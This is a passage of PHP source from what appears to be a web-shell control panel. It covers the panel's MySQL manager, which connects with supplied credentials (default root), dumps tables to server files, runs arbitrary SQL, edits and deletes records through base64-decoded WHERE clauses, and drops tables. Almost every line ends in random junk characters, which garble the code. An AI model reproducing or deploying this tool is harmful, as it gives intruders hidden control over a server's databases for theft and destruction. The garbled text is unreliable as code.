  669.         makehide('dbport');2 ^2 P  K4 y6 Y' y, @/ V
  670.         makehide('dbuser');- Y$ @) [  F( ^1 |, x
  671.         makehide('dbpass');
    ) h2 f3 s' z6 ~4 T
  672.         makehide('dbname');
    0 ~) O; R$ [6 u* ]' S$ h) L
  673.         makehide('charset');
    , @! b& h; N' x7 h* X4 G  _$ R7 Y# s
  674.         makehide('doing');0 B! x8 t) ^. @( c8 e. z. ]
  675.         makehide('action','sqlfile');
    ) L  ]+ _7 R1 m" n
  676.         p('</form>');! a4 [- B( P' X/ S4 F. ?3 k, X
  677. }
    & G0 V/ W' |% u# A
  678. 7 v% ~  w1 R2 a- q! A6 Y
  679. elseif ($action == 'sqladmin') {
    # }9 ?6 \, r. l* k+ v6 e% C
  680.         !$dbhost && $dbhost = 'localhost';/ W# k- M& ?! R+ v- Z
  681.         !$dbuser && $dbuser = 'root';# Z/ Q3 @! \0 i" H. Q
  682.         !$dbport && $dbport = '3306';. o4 W) a: j  W# R0 h7 u
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';( a  j1 b6 L2 k! r9 e: s0 p! [
  684.         if(isset($dbhost)){! N+ W2 Y. C0 a8 \
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";- f2 h! T5 V* W0 D" G
  686.         }8 ?' A/ B/ g0 o2 Y1 Y* z- w! W
  687.         if(isset($dbuser)) {" ]: k" t* y7 p$ \6 y
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
    ( J. a$ J1 Y- t8 s
  689.         }; m/ P, m6 }3 j+ H  |- |
  690.         if(isset($dbpass)) {
    ) o( m5 P3 b3 h9 ~8 o( L. l
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
    6 b4 }9 V! s" ]2 {% u
  692.         }7 E6 `* Q4 E. N1 G4 r
  693.         if(isset($dbport)) {. h# H( r' Y0 n! U
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";' ?  K% C# Z5 u5 p
  695.         }
    2 m* A) ]* J7 Z, |' |: i
  696.         if(isset($dbname)) {
    4 ~# I- [4 p: C" L6 V! K: [
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";0 c" l0 a+ M9 E* |3 s: L
  698.         }
    # ^% Q. S& w# g: c& n
  699.         if(isset($charset)) {
    9 S% a8 q1 N! Y1 N* t% K  H8 ?
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";( ^; L( @) n# I  z- @  c4 C( u
  701.         }; X& |8 n3 e7 o5 Q* b
  702. " D3 Y9 |2 E: F. K9 n8 [% Y5 J
  703.         if ($doing == 'backupmysql' && $saveasfile) {
    ' k" S) J5 m! Y5 R5 N* R) L3 Y
  704.                 if (!$table) {
    - B- y( ]* z. v  `  K( q
  705.                         m('Please choose the table');/ k- j9 l: \: `' Y
  706.                 } else {% Q% @3 A0 s' `* A  N5 b
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    " S9 f" Z8 U( W
  708.                         $table = array_flip($table);
    . ?1 a; e* l! h4 \- T, ]
  709.                         $fp = @fopen($path,'w');
    4 m9 _. u, g$ ]
  710.                         if ($fp) {' a8 @7 S( V, z
  711.                                 $result = q('SHOW tables');: Z$ M* p5 H% ]* M
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');" t: M8 T* F- s
  713.                                 $mysqldata = '';
    6 E+ Y/ f& T  c- u9 R5 M
  714.                                 while ($currow = mysql_fetch_array($result)) {
    ) L  v3 A: `) d( g: m+ C! Z
  715.                                         if (isset($table[$currow[0]])) {
    # K3 x- t" f- O. k- I( _+ ]
  716.                                                 sqldumptable($currow[0], $fp);5 ?5 h: P7 ?5 V9 S
  717.                                         }
    ) _- c& A7 Z+ e. [+ B; M
  718.                                 }
    ' r2 s6 D0 n( A8 A
  719.                                 fclose($fp);5 s" G, V- v0 ]* _9 T4 d
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
    ; e0 X; Y$ I( L% }, ~
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');: a/ z7 Z. \5 Y' q# X
  722.                                 mysql_close();- ?7 E4 _+ F- N7 \# T2 R
  723.                         } else {
    0 D( C6 I; G+ E, ?
  724.                                 m('Backup failed');4 D3 S) Y( \" h' U
  725.                         }) N. b/ z5 s' y# X1 g, B; d) R
  726.                 }
    ; ^1 ~0 o4 m. G* Y
  727.         }
    + K0 j# I2 Z4 a/ v8 D  n' {* f
  728.         if ($insert && $insertsql) {
    " u& i9 h, Y" ?$ t
  729.                 $keystr = $valstr = $tmp = '';* q) a! \: b0 K- G
  730.                 foreach($insertsql as $key => $val) {
    $ k+ {& T! ]8 s( h" B; E# u+ y
  731.                         if ($val) {
    ! l. Q( d3 w# C8 \; f
  732.                                 $keystr .= $tmp.$key;
    2 L5 `8 O) \5 p& C) |; R
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";7 L& i/ u& l  [- `
  734.                                 $tmp = ',';
    4 j' v1 B. u& M6 k
  735.                         }
    7 p- M3 ^* U/ X6 x2 K6 q
  736.                 }
    / G0 o% l5 `8 c' G
  737.                 if ($keystr && $valstr) {/ H) k" g- }; Y3 T
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 i6 k8 ~. J9 o- \7 P
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    7 u0 f' ~$ f  J+ s0 w) i% \: D
  740.                 }8 \& @  W/ U2 d# x1 l
  741.         }
    8 p4 C* j1 W+ i: y
  742.         if ($update && $insertsql && $base64) {
    ) h5 R& U( t; i+ j& p5 f
  743.                 $valstr = $tmp = '';
    1 a# f$ H7 F& d& h* O- \
  744.                 foreach($insertsql as $key => $val) {, D" u9 {1 T  [" r) W
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
    % Z: v: u. Y* ~4 v6 C: @0 P9 L
  746.                         $tmp = ',';
    ' T$ w/ s* M3 p! h! Q
  747.                 }
    ! }. K# r# ^0 D4 Q$ ?
  748.                 if ($valstr) {, P# ?3 s$ l8 u5 f" o7 Z
  749.                         $where = base64_decode($base64);; S# K& d9 p0 D% L3 A
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    ) g$ i$ I4 R) G* Z! |& o
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    2 t) d+ o2 F( y
  752.                 }
    # g8 y* t* n, A% H# Q- p
  753.         }
    * P* p$ l* g" B& R( n7 o, e
  754.         if ($doing == 'del' && $base64) {
    . k2 c+ V) Z, u! \/ M6 M
  755.                 $where = base64_decode($base64);; }5 M! Y% w7 q" k9 M1 g
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";) F. F0 F' M+ H& N
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);/ t& ^# M9 a4 e  o
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    8 h7 A  {0 X; E; G# @: |: S
  759.         }
    2 ?) a5 {) w1 c7 Q7 O1 A

  760. ' b' ]9 G6 k; F9 X+ R; u+ u
  761.         if ($tablename && $doing == 'drop') {( {  M/ H8 ]' k# d1 N" c8 O
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    4 K# a6 @$ A0 e0 H; m5 c" Y! f; }
  763.                 if (q("DROP TABLE $tablename")) {/ Q) ^4 }7 {5 v3 I2 x- w8 t
  764.                         m('Drop table of success');" e! r, k: z% `0 r
  765.                         $tablename = '';2 @" q; e' \% v- j% y
  766.                 } else {% N2 R+ X0 V! ^3 }* {( Z
  767.                         m(mysql_error());! w: q2 a8 O  d0 j% O7 ?
  768.                 }0 U, d' s) O/ n1 c! n2 K, W
  769.         }
    ! [! A- o! O+ f5 G( y

  770. 5 `# B5 k( N4 l$ T" V
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    / u/ E% K$ d, c; w7 a! U' F
  772. 0 z0 j9 M$ n! v( f
  773.         formhead(array('title'=>'MYSQL Manager'));
    . V$ n0 O* y  H2 N3 K. t5 s$ U" @
  774.         makehide('action','sqladmin');' t' }5 W6 f4 {- k" M
  775.         p('<p>');* z2 S" j/ e$ ]  |, L+ ^. G
  776.         p('DBHost:');
    ' k! t* y& m3 ?7 _( F
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    , J. u, d# J" A, M
  778.         p(':');
      K- I$ i# e& D+ k' T/ [8 \  R
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));2 R! ~2 F- Q% o" s/ S
  780.         p('DBUser:');/ h  T7 n/ N( A( B4 v# b# ~
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));$ @3 m4 y% S3 o% {" e
  782.         p('DBPass:');
    5 u' |! `, q: g& e( Q; H
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    : h% H3 Z5 @: L0 e5 X+ U
  784.         p('DBCharset:');& ?4 @6 ], |7 e9 Z* t% t
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    7 U- Q" f( }5 Y; l8 |5 \
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    5 K8 d1 J9 k; s3 n
  787.         p('</p>');
    2 c/ J& ^& Q5 |& ^
  788.         formfoot();
    * Y- `  w4 N% [' w5 k
  789. ?>
    3 o& I; `$ A$ c& M: a( ^0 |# Q4 y
  790. <script type="text/javascript">
    - E8 F6 r; {' H0 g. d
  791. function editrecord(action, base64, tablename){
    3 E* a3 y6 S6 a* ^. d
  792.         if (action == 'del') {                - E& L5 q0 G) [/ @" T
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;8 D1 E: a3 [- c  m% I
  794.         }" D  s) X7 P" S" c, o2 f) m- P
  795.         $('recordlist').doing.value=action;( V* B: R8 W) p9 g8 M
  796.         $('recordlist').base64.value=base64;
      i5 o+ N; c% l0 Z0 l; U7 y
  797.         $('recordlist').tablename.value=tablename;
    . V2 _! B: B1 i5 D$ A; C4 ^0 _$ B
  798.         $('recordlist').submit();. z% @0 \( W) `9 w  s7 A) a3 f  B
  799. }
    / ]9 I: [- ^+ a; e. h/ e/ ~
  800. function moddbname(dbname) {& u3 E5 P  N" v. ]& ?: V" c
  801.         if(!dbname) return;
    7 K0 T- o9 m' A+ k
  802.         $('setdbname').dbname.value=dbname;# r/ z( {6 |! a# q) u2 E* L2 P
  803.         $('setdbname').submit();3 h! C- w+ `  [& \# l' k
  804. }
    ( O; D% o& z( X' m, H
  805. function settable(tablename,doing,page) {
    1 s' L0 i0 H% ~& [  n: f
  806.         if(!tablename) return;2 ]# D8 I1 V: Q1 k8 i6 B* S$ X
  807.         if (doing) {9 x7 i: \/ `& X) [
  808.                 $('settable').doing.value=doing;( B& N% ^$ @. ]+ l1 E4 e4 T
  809.         }
    ! h6 x( g) ]0 C, c( G- ?
  810.         if (page) {7 f* W9 A! ^# k5 Y& G( Z
  811.                 $('settable').page.value=page;  A) D2 X2 e% V
  812.         }
    % O% Y0 h" B# ^  ?) ]
  813.         $('settable').tablename.value=tablename;% ?9 T' r* v3 x
  814.         $('settable').submit();
    ; v1 _/ _$ ~1 D+ v
  815. }; P, P" q) o& s; r' w" y0 a
  816. </script>
    $ O) k1 s7 I/ W0 x) r6 c
  817. <?php; J. c8 G, [, C2 z4 S: X: D1 P
  818.         //操作记录8 c' w$ M" O. z* }9 n6 k9 d
  819.         formhead(array('name'=>'recordlist'));1 x4 v$ G0 a1 \5 u8 A9 w0 J
  820.         makehide('doing');4 s3 ~3 q& x# N# R2 ]3 \
  821.         makehide('action','sqladmin');- _4 g, J8 c4 l) G) G) n( s
  822.         makehide('base64');. ]6 k1 j6 D3 ?  O9 F& m& p4 b
  823.         makehide('tablename');
    ; L. ^. n% A0 I8 I! J* B
  824.         p($dbform);+ _3 b$ l1 i1 Q& G4 u
  825.         formfoot();
    0 _8 {+ E9 _9 U5 q* o; N, z2 J
  826.         //选定数据库- w3 ?3 P# [! n& d. F4 [0 T* N
  827.         formhead(array('name'=>'setdbname'));3 P8 K3 i# t  L  e
  828.         makehide('action','sqladmin');% T% \$ ]9 u$ {  E$ z9 _0 \8 b4 e. a
  829.         p($dbform);% h# z: {2 c/ I. v( m- s2 y8 d" f
  830.         if (!$dbname) {, c3 ]- U" H% U3 C* W
  831.                 makehide('dbname');( t1 i5 l/ u) S4 p+ r' Y5 \
  832.         }3 }  e3 }, z6 s$ g. ^
  833.         formfoot();
    4 ], B9 @4 I. l2 w
  834.         //选定表$ o/ w8 H8 m. ?) I) p$ h
  835.         formhead(array('name'=>'settable'));# `* G8 W+ l4 N
  836.         makehide('action','sqladmin');/ w/ I. R1 [. X: |" K
  837.         p($dbform);* C1 y' K" S5 F+ F, m% c
  838.         makehide('tablename');
    - d. D" U, A6 k% Z
  839.         makehide('page',$page);
    1 h( e/ Y% [8 D' G( W6 Z
  840.         makehide('doing');7 e, ]8 x4 V: S0 a' ]
  841.         formfoot();
    " U' s# M/ C, _+ a
  842.         $cachetables = array();        " G8 |& e) N4 A
  843.         $pagenum = 30;
    ; q& @3 v  f- F- F* P
  844.         $page = intval($page);
    ' J) V' }4 m4 l0 u
  845.         if($page) {) W$ c/ r; a8 o- _) B7 q
  846.                 $start_limit = ($page - 1) * $pagenum;+ s) U+ a* F6 q9 n* @
  847.         } else {  z2 Q8 N$ S! H' M; @+ ^
  848.                 $start_limit = 0;
    5 J( o& o  i0 _2 Q; X: r
  849.                 $page = 1;# I7 e+ X5 V7 i3 F# V  q
  850.         }
    2 m; [( b5 I  d
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {/ v) o" m5 E  o' K" v4 {4 i( H  e7 P
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);1 l5 {& M' V- z. J5 D5 C
  853.                 //获取数据库信息6 a6 B) B- t6 j/ M0 T
  854.                 $mysqlver = mysql_get_server_info();
    " z: l3 @2 G1 [8 h$ @+ L
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');) i0 H8 E. T0 H& |$ K: j
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;8 P7 G, ~5 D8 P
  857.                 //获取数据库
    : T7 u. u9 K* Z; g4 L- S
  858.                 $query = q("SHOW DATABASES");
    # {& O6 a& w! j& N: {; C
  859.                 $dbs = array();
    ) `4 b- Y% k9 \! _! R; T
  860.                 $dbs[] = '-- Select a database --';
    / p4 ]8 r2 c2 o3 [2 C
  861.                 while($db = mysql_fetch_array($query)) {
    1 I- \) o$ e, o3 b
  862.                         $dbs[$db['Database']] = $db['Database'];8 o! e! P/ e7 Q/ U
  863.                 }
    2 m6 Y. z' t& k& M
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));. [5 ]) O6 l, [% G' H
  865.                 $tabledb = array();1 |9 B" ]0 P1 m  o: n, i
  866.                 if ($dbname) {% d9 b- t) R% D0 z' ]
  867.                         p('<p>');
      `; B5 v/ N2 }! l. H" x6 \4 e
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');0 s8 u, |. {% T2 I8 }! S+ x
  869.                         if ($tablename) {% u; K$ M% V7 x6 G
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
    0 i0 G5 m& W$ @) v8 T2 Y
  871.                         }0 a; \' |- X. U, d
  872.                         p('</p>');
    5 y* G' F( y' M/ H; [  V) [+ C
  873.                         mysql_select_db($dbname);1 A7 q+ Z1 V) R
  874.                         $getnumsql = '';8 }' A1 c. o) Y! z$ K# T! G
  875.                         $runquery = 0;# @7 [1 K3 x/ x8 X
  876.                         if ($sql_query) {" u% z8 `% ]5 u# @3 T) J- r
  877.                                 $runquery = 1;
    - ?* x/ w+ K4 v  E
  878.                         }, Y1 R$ n& _2 f4 J
  879.                         $allowedit = 0;9 m/ n/ W5 J' ^
  880.                         if ($tablename && !$sql_query) {
    4 c2 ^% O. N) c$ F, K
  881.                                 $sql_query = "SELECT * FROM $tablename";- m% v1 t' i, D9 L$ e% c  @; ^
  882.                                 $getnumsql = $sql_query;1 H/ D$ v9 }) ^; U  X9 z4 ~
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";$ m' B3 Y6 F4 q# Y8 {# q4 h1 C% u
  884.                                 $allowedit = 1;
    . u9 g& M2 F* R# G' k/ p* V9 U/ j
  885.                         }5 b  I' o8 G% i5 v( h8 z
  886.                         p('<form action="'.$self.'" method="POST">');) }- |" b* [5 z# R9 R' ~2 P' U1 d
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    4 K: Z' c0 l. L9 h0 z1 R
  888.                         makehide('tablename', $tablename);0 g5 V: }2 u' Y7 h; v
  889.                         makehide('action','sqladmin');
    5 v+ h' B4 \) d1 Z' G! H. p
  890.                         p($dbform);
    6 F+ `7 ~- K, w  P5 W) H
  891.                         p('</form>');
    8 r" L6 h& G; q/ y$ L3 ], ^8 s
  892.                         if ($tablename || ($runquery && $sql_query)) {1 |7 y' Z4 A9 E# f+ p
  893.                                 if ($doing == 'structure') {
    " O- W( f2 u' `. U: s6 W
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");
    - c& s, n( a2 A$ c4 M' \
  895.                                         $rowdb = array();
    0 k# N  w( M# x6 {
  896.                                         while($row = mysql_fetch_array($result)) {
    . `( s- i4 b4 `
  897.                                                 $rowdb[] = $row;. w: \, S- G1 }& Q; ~
  898.                                         }+ E  H0 H( o( o
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    ( O3 q) s1 L1 E/ W0 U
  900.                                         p('<tr class="head">');
    1 \* X* ?0 C+ R2 X6 c
  901.                                         p('<td>Field</td>');
    + ]% I# H: m$ _6 B7 F
  902.                                         p('<td>Type</td>');' u$ u/ {* }8 N2 I. K& d
  903.                                         p('<td>Null</td>');
    . O# Y: i4 U9 L% }) [3 o# G! q: c
  904.                                         p('<td>Key</td>');
    1 Z  @" Q8 L) ~7 U( d: w1 i
  905.                                         p('<td>Default</td>');
    4 r7 z% G( r- @) W# Y3 f7 ^& p* B
  906.                                         p('<td>Extra</td>');
      {& k( R3 g! m1 }
  907.                                         p('</tr>');
    6 V# z/ Z- e  Q$ ?9 [
  908.                                         foreach ($rowdb as $row) {0 H" T% q1 S: |( a! O
  909.                                                 $thisbg = bg();, k$ ^. g% D. f3 h5 D5 F: C- J
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    - e) L! y. M$ q- H
  911.                                                 p('<td>'.$row['Field'].'</td>');! a6 @; C# g1 x0 o" `! J1 b; q5 B
  912.                                                 p('<td>'.$row['Type'].'</td>');  i+ d" W: Q# A. u6 k
  913.                                                 p('<td>'.$row['Null'].' </td>');
    & l* \1 T' [+ J8 X  L  Y8 M
  914.                                                 p('<td>'.$row['Key'].' </td>');
    + @( k, T! }# K8 U+ p6 ?$ T
  915.                                                 p('<td>'.$row['Default'].' </td>');: K: N  w+ t1 K0 O2 V. N
  916.                                                 p('<td>'.$row['Extra'].' </td>');
    ' x. p4 _, N/ ^+ k0 I  k% B& C0 v
  917.                                                 p('</tr>');% Y4 V& K  A. T
  918.                                         }
    % u2 N4 [! k# t8 K! ]
  919.                                         tbfoot();8 c9 a+ |! z3 O* J
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {) ]' _' m- E- U% y9 i$ s
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
    & V' X) a" B# o
  922.                                         while ($row = mysql_fetch_array($result)) {3 a4 H, ~9 C& {0 L
  923.                                                 $rowdb[] = $row;
    2 \  G. ^. |8 _* f
  924.                                         }$ l( W1 Q* N) u
  925.                                         $rs = array();
    3 i4 J8 M5 q6 n4 |" F- s0 m
  926.                                         if ($doing == 'insert') {
    . ]2 {$ g5 N: i! D# x' h, ?
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    9 P/ P( l% i1 A1 D9 ?
  928.                                         } else {6 @* \7 U- m+ G$ L* O
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');2 J# H  Z, k4 i  v( x
  930.                                                 $where = base64_decode($base64);
    9 }0 _6 e( r7 F3 f/ c( h; S  Q/ y6 D
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");( ^: z% L* P- N* E* K$ i# U5 {
  932.                                                 $rs = mysql_fetch_array($result);
    ; @2 O# v$ T" Q! Q( t, h# ^' m
  933.                                         }
      y2 L2 a4 N- R# u: t5 Z) L
  934.                                         p('<form method="post" action="'.$self.'">');
    ( \) m. ~+ \1 I1 f9 q
  935.                                         p($dbform);) W8 K3 Y2 C3 L+ D: q; o
  936.                                         makehide('action','sqladmin');  m  ]( f" k& c- }
  937.                                         makehide('tablename',$tablename);
    ' N* h0 c' S8 G$ W4 d
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');$ }$ Q' y; _4 e9 C. t4 O
  939.                                         foreach ($rowdb as $row) {# Z9 g8 n& M, ^0 V* \7 R4 y
  940.                                                 if ($rs[$row['Field']]) {
      s9 V0 p- x2 P# s- j- C
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);2 b1 s5 {" a0 P9 N/ K- a
  942.                                                 } else {! J. c( c# ?" z5 B: J
  943.                                                         $value = '';
    3 c, S. I3 S' W$ _5 H
  944.                                                 }
    5 b; y$ C0 ~  ?6 f  {2 K. E4 b
  945.                                                 $thisbg = bg();
    7 V- r1 G& \- v8 o
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');7 A6 j9 M+ Z7 m1 V1 w
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');, h0 [1 ^8 \- A* ^
  948.                                         }
    3 ?8 K3 u& a9 t: i1 K! a7 y0 F
  949.                                         if ($doing == 'insert') {) z6 y3 J( I+ K8 }5 Q- B
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
    * x. Z/ ~& s; h; m
  951.                                         } else {
    - `) X2 i0 P9 q7 T1 y5 ]- G# n
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
      F$ ]6 L& g. C
  953.                                                 makehide('base64', $base64);$ P" f+ C" A& ]3 p. E2 ]' F
  954.                                         }/ V8 S; r' H: [
  955.                                         p('</table></form>');2 |# [% z2 x/ L
  956.                                 } else {5 }6 p& V$ h' q0 J/ Y% Y. y7 ^& a. T# U' d' o
  957.                                         $querys = @explode(';',$sql_query);
    7 M' y' `- q) B+ @# d6 t/ f: q0 t
  958.                                         foreach($querys as $num=>$query) {
    2 m8 G5 ^! h& _" K! [3 A& Q
  959.                                                 if ($query) {7 X6 L* @+ u6 W* L1 i
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    " x$ o+ T2 E9 y$ s/ F# a9 {7 x
  961.                                                         switch(qy($query))
    / `3 b/ |- }) v0 _* e
  962.                                                         {' i' D& `8 P/ W; F+ x3 Q
  963.                                                                 case 0:
    1 ?# r% ?3 M, K$ o. }  k* E3 u
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    % R3 E: t( W+ w& d
  965.                                                                         break;        6 B; ~5 s7 i3 a& b& U
  966.                                                                 case 1:
    & A# }. \. `1 t0 I* c
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
    3 Q8 a; P* K; Y5 p& _9 F
  968.                                                                                 $allowedit = 1;
    9 i/ a+ ]  ?( A) G4 M. m
  969.                                                                         }# d0 u/ d, N1 J# F& y. G% V
  970.                                                                         if ($getnumsql) {& w" [! d1 i4 v8 D5 Y! d3 c7 s5 D
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));; ?4 N# z6 ]! }0 K
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);/ r. Z6 k8 }0 W( `0 }/ \. s
  973.                                                                         }' c6 [( y$ U6 A7 J
  974.                                                                         if (!$tablename) {
    % p( E4 f2 x* ^0 h
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));9 T# n, G- s  ~9 ]! t. T& K
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);8 P9 `7 W. D7 q, k4 M$ [3 Y
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
    3 W9 M: Z: _" A
  978.                                                                                 $tablename = $matches[1][0];* y1 p2 l0 X/ G6 I
  979.                                                                         }
    2 I% M5 q" i/ E
  980.                                                                         $result = q($query);3 o4 s9 F) y1 J: c3 B  ]
  981.                                                                         p($multipage);
    " @9 C& Z, N9 A. V3 K: q
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    6 x- A" [! c( u1 Z
  983.                                                                         p('<tr class="head">');1 J( A, c6 @9 g) t, ]0 L% a
  984.                                                                         if ($allowedit) p('<td>Action</td>');
    + f7 U" k; m2 t, N( T  j0 u8 d2 Z
  985.                                                                         $fieldnum = @mysql_num_fields($result);' @7 M4 t+ g! ]+ R) R
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    4 f0 q0 c' I7 O. G
  987.                                                                                 $name = @mysql_field_name($result, $i);$ F( D) @$ A9 f& ^; a
  988.                                                                                 $type = @mysql_field_type($result, $i);) n. j. u3 K* T" m1 C6 W
  989.                                                                                 $len = @mysql_field_len($result, $i);# `+ k1 G, v$ x, e# `" H: O
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
    ! N. A4 W; Y: d2 N1 X  E% U
  991.                                                                         }3 r) \! f' ]1 ^- _
  992.                                                                         p('</tr>');" g& M9 w5 O  F  K+ a  @! H% [
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){
    8 c9 B( v9 z8 R# _# k
  994.                                                                                 $thisbg = bg();5 Y5 I7 [7 y* b& o
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');& N# u+ }$ b3 u* V* a. a" O2 I
  996.                                                                                 $where = $tmp = $b1 = '';9 [6 J$ [2 R7 E6 w: c  y: @$ O
  997.                                                                                 foreach($mn as $key=>$inside){% ^* v$ E7 W+ d. P
  998.                                                                                         if ($inside) {/ S" z* d' H9 K# K7 D7 `* e
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
    4 m/ \! O: L) i
  1000.                                                                                                 $tmp = ' AND ';" N( g' d+ D; i! {+ ^
  1001.                                                                                         }7 c) s; M/ S" |5 X0 z9 P/ k; g
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';# y. T1 |" o9 i4 [. p2 }
  1003.                                                                                 }
    7 y1 S, r) S  y9 t: ^
  1004.                                                                                 $where = base64_encode($where);
    " v4 s. M: T: ?# A
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    , t* Z) i, v; E8 I: |
  1006.                                                                                 p($b1);, j: O; x$ l6 y& N6 _' N
  1007.                                                                                 p('</tr>');; f5 F5 J) T9 T7 y/ N
  1008.                                                                                 unset($b1);
    ; x& f' P* \& x, Y
  1009.                                                                         }5 v3 Z9 _- Z  g1 l  \. y( P
  1010.                                                                         tbfoot();% M. w: i% t( W  O8 ^4 x$ k
  1011.                                                                         p($multipage);5 I. y  R% p  K1 X. b# {" c. e( f
  1012.                                                                         break;        0 P3 T8 a6 t# Z7 p& n. f1 t
  1013.                                                                 case 2:
    2 k$ E; s' c7 n
  1014.                                                                         $ar = mysql_affected_rows();/ r; [* Z( Y! n; y4 p) L4 X$ S
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');% l/ {) v' Y; O7 j
  1016.                                                                         break;
    ! p" z7 M1 w( c( W
  1017.                                                         }
    6 `* f# w* G/ f  ]! `
  1018.                                                 }
      }, v; M( g4 B0 o
  1019.                                         }
    6 v4 q/ P/ B4 L/ [( r0 Z& T6 c
  1020.                                 }" _) Q4 T' [& Q
  1021.                         } else {
    2 H& a! ?  r! U; X1 Z" T
